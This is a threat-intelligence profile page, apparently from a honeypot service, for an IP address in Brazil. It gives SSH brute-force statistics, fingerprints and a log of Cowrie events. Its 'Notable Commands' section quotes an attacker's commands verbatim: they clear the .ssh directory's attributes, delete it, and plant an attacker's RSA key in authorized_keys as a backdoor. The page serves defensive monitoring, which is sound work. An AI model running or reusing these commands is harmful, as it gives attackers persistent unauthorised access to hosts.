IntrusionLabs / threat intelligence

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131.161.219.137

Threat Confidence

52%

Location

🇧🇷 BR / Almirante Tamandaré

ASN

AS264393 · NetBrasil Telecom LTDA

Cloud Provider

—

Total Events

78

Above average by volume

Agent Count

2

First / Last Seen

2026-03-04 11:57 — 2026-03-12 17:32

Attack Types

ssh:bruteforce

External Corroboration

Blocklist.de

Reported 2026-03-27 17:55

blocklist_de:reported

Campaigns

Not associated with any campaigns

Session Forensics

malware_dropper ×1 credential_harvester ×12 opportunistic_bruter ×1

Sessions

14 (2 with login)

Avg Depth Score

0.41

Commands Executed

3

Files Downloaded

1

Notable Commands

cd ~; chattr -ia .ssh; lockr -ia .ssh
lockr -ia .ssh
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Fingerprints

HASSH

03a80b21afa810682a776a7d42e5e6fb

SSH Client

SSH-2.0-libssh_0.11.1

Recent Events (last 50)

Timestamp	Port	Proto	Event	Location
2026-03-12 17:32:45	:22	ssh	cowrie.session.closed	sin
2026-03-12 17:32:44	:22	ssh	cowrie.login.failed	sin
2026-03-12 17:32:42	:22	ssh	cowrie.client.kex	sin
2026-03-12 17:32:42	:22	ssh	cowrie.client.version	sin
2026-03-12 17:32:42	:22	ssh	cowrie.session.connect	sin
2026-03-12 17:30:31	:22	ssh	cowrie.session.closed	sin
2026-03-12 17:30:30	:22	ssh	cowrie.login.failed	sin
2026-03-12 17:30:28	:22	ssh	cowrie.client.kex	sin
2026-03-12 17:30:28	:22	ssh	cowrie.client.version	sin
2026-03-12 17:30:28	:22	ssh	cowrie.session.connect	sin
2026-03-12 17:28:10	:22	ssh	cowrie.session.closed	sin
2026-03-12 17:28:09	:22	ssh	cowrie.login.failed	sin
2026-03-12 17:28:07	:22	ssh	cowrie.client.kex	sin
2026-03-12 17:28:07	:22	ssh	cowrie.client.version	sin
2026-03-12 17:28:07	:22	ssh	cowrie.session.connect	sin
2026-03-12 17:25:55	:22	ssh	cowrie.session.closed	sin
2026-03-12 17:25:54	:22	ssh	cowrie.login.failed	sin
2026-03-12 17:25:52	:22	ssh	cowrie.client.kex	sin
2026-03-12 17:25:52	:22	ssh	cowrie.client.version	sin
2026-03-12 17:25:52	:22	ssh	cowrie.session.connect	sin
2026-03-12 17:23:43	:22	ssh	cowrie.session.closed	sin
2026-03-12 17:23:42	:22	ssh	cowrie.login.failed	sin
2026-03-12 17:23:40	:22	ssh	cowrie.client.kex	sin
2026-03-12 17:23:40	:22	ssh	cowrie.client.version	sin
2026-03-12 17:23:40	:22	ssh	cowrie.session.connect	sin
2026-03-12 17:21:31	:22	ssh	cowrie.session.closed	sin
2026-03-12 17:21:29	:22	ssh	cowrie.login.failed	sin
2026-03-12 17:21:28	:22	ssh	cowrie.client.kex	sin
2026-03-12 17:21:28	:22	ssh	cowrie.client.version	sin
2026-03-12 17:21:28	:22	ssh	cowrie.session.connect	sin
2026-03-12 17:19:20	:22	ssh	cowrie.session.closed	sin
2026-03-12 17:19:19	:22	ssh	cowrie.login.failed	sin
2026-03-12 17:19:18	:22	ssh	cowrie.client.kex	sin
2026-03-12 17:19:17	:22	ssh	cowrie.client.version	sin
2026-03-12 17:19:17	:22	ssh	cowrie.session.connect	sin
2026-03-12 17:17:09	:22	ssh	cowrie.session.closed	sin
2026-03-12 17:17:07	:22	ssh	cowrie.login.failed	sin
2026-03-12 17:17:06	:22	ssh	cowrie.client.kex	sin
2026-03-12 17:17:05	:22	ssh	cowrie.client.version	sin
2026-03-12 17:17:05	:22	ssh	cowrie.session.connect	sin
2026-03-12 17:14:44	:22	ssh	cowrie.session.closed	sin
2026-03-12 17:14:43	:22	ssh	cowrie.login.failed	sin
2026-03-12 17:14:42	:22	ssh	cowrie.client.kex	sin
2026-03-12 17:14:41	:22	ssh	cowrie.client.version	sin
2026-03-12 17:14:41	:22	ssh	cowrie.session.connect	sin
2026-03-12 17:12:26	:22	ssh	cowrie.session.closed	sin
2026-03-12 17:12:25	:22	ssh	cowrie.login.failed	sin
2026-03-12 17:12:23	:22	ssh	cowrie.client.kex	sin
2026-03-12 17:12:23	:22	ssh	cowrie.client.version	sin
2026-03-12 17:12:23	:22	ssh	cowrie.session.connect	sin